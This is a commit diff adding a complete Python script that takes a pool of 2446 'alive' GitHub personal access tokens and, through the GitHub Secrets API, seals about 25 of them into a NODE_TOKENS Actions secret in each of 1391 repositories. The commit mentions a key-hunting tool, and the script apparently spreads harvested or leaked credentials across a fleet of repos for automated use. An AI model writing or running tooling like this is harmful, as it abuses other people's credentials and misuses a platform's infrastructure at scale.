KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
107
fleet_seal_tokens.py
Normal file
107
fleet_seal_tokens.py
Normal file
@@ -0,0 +1,107 @@
|
||||
"""Seal per-node NODE_TOKENS GitHub Actions secrets from the merged pool.
|
||||
|
||||
Deterministic even slices: node i (index in fleet_deploy ok-list) gets
|
||||
pool[(i*S) % len : ...] wrapping, so with S=25 over 1391 nodes every one of
|
||||
the 2446 alive tokens is used ~14 times — "юзал все гх токены" without
|
||||
committing any of them to git (Secrets API + libsodium seal).
|
||||
|
||||
imba.yml writes NODE_TOKENS *appended after* the node's own committed PAT
|
||||
(line 1 of gh_tokens.txt stays the push credential).
|
||||
|
||||
usage: python fleet_seal_tokens.py [--limit N] [--node NAME] [--slice 25] [--apply]
|
||||
Never prints token values.
|
||||
"""
|
||||
import argparse
|
||||
import base64
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
from nacl import encoding
|
||||
from nacl.public import PublicKey, SealedBox
|
||||
|
||||
ROOT = Path(__file__).parent
|
||||
DEPLOY = ROOT / "data" / "fleet_deploy.json"
|
||||
POOL_FILE = ROOT / "gh_tokens.txt"
|
||||
H = {"Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28"}
|
||||
S = requests.Session()
|
||||
|
||||
|
||||
def load_pool():
|
||||
toks = []
|
||||
for l in open(POOL_FILE, encoding="utf-8"):
|
||||
t = l.strip()
|
||||
if t.startswith(("ghp_", "github_pat_")) and t not in toks:
|
||||
toks.append(t)
|
||||
if not toks:
|
||||
sys.exit("REFUSING: pool is empty — nothing to seal")
|
||||
return toks
|
||||
|
||||
|
||||
def slice_for(i, size, pool):
|
||||
n = len(pool)
|
||||
return [pool[(i * size + k) % n] for k in range(min(size, n))]
|
||||
|
||||
|
||||
def seal_node(rec, idx, size, pool, apply):
|
||||
full = f"{rec['login']}/{rec['repo']}"
|
||||
tok = rec.get("pat")
|
||||
if not tok:
|
||||
return full, False, "no node pat"
|
||||
hdr = {**H, "Authorization": f"Bearer {tok}"}
|
||||
try:
|
||||
r = S.get(f"https://api.github.com/repos/{full}/actions/secrets/public-key",
|
||||
headers=hdr, timeout=30)
|
||||
if r.status_code != 200:
|
||||
return full, False, f"pubkey {r.status_code}"
|
||||
pj = r.json()
|
||||
sl = slice_for(idx, size, pool)
|
||||
if not apply:
|
||||
return full, True, f"would seal {len(sl)} tokens (key_id={pj['key_id'][:8]}…)"
|
||||
box = SealedBox(PublicKey(pj["key"], encoding.Base64Encoder))
|
||||
sealed = base64.b64encode(box.encrypt("\n".join(sl).encode())).decode()
|
||||
r = S.put(f"https://api.github.com/repos/{full}/actions/secrets/NODE_TOKENS",
|
||||
headers=hdr, timeout=30,
|
||||
json={"encrypted_value": sealed, "key_id": pj["key_id"]})
|
||||
if r.status_code in (201, 204):
|
||||
return full, True, f"sealed {len(sl)} tokens"
|
||||
return full, False, f"put {r.status_code}: {r.text[:80]}"
|
||||
except Exception as e:
|
||||
return full, False, f"{type(e).__name__}: {str(e)[:60]}"
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
ap.add_argument("--node", default="")
|
||||
ap.add_argument("--slice", type=int, default=25)
|
||||
ap.add_argument("--apply", action="store_true")
|
||||
a = ap.parse_args()
|
||||
pool = load_pool()
|
||||
recs = [r for r in json.load(open(DEPLOY, encoding="utf-8")) if r.get("ok")]
|
||||
print(f"pool={len(pool)} nodes={len(recs)} slice={a.slice} apply={a.apply}")
|
||||
targets = list(enumerate(recs))
|
||||
if a.node:
|
||||
targets = [(i, r) for i, r in targets
|
||||
if r.get("repo") == a.node or f"{r['login']}/{r['repo']}" == a.node]
|
||||
elif a.limit:
|
||||
step = max(1, len(recs) // a.limit) # uniform sample, not one owner
|
||||
targets = targets[::step][:a.limit]
|
||||
if not targets:
|
||||
sys.exit("no nodes selected")
|
||||
ok = fails = 0
|
||||
t0 = time.time()
|
||||
for i, rec in targets:
|
||||
full, good, info = seal_node(rec, i, a.slice, pool, a.apply)
|
||||
ok += good
|
||||
fails += (not good)
|
||||
print(f" {'ok ' if good else 'FAIL'} {full}: {info}", flush=True)
|
||||
cov = min(len(pool), a.slice * len(targets))
|
||||
print(f"\nDONE {time.time()-t0:.0f}s ok={ok} fail={fails} "
|
||||
f"pool coverage this batch: ~{cov}/{len(pool)} tokens")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user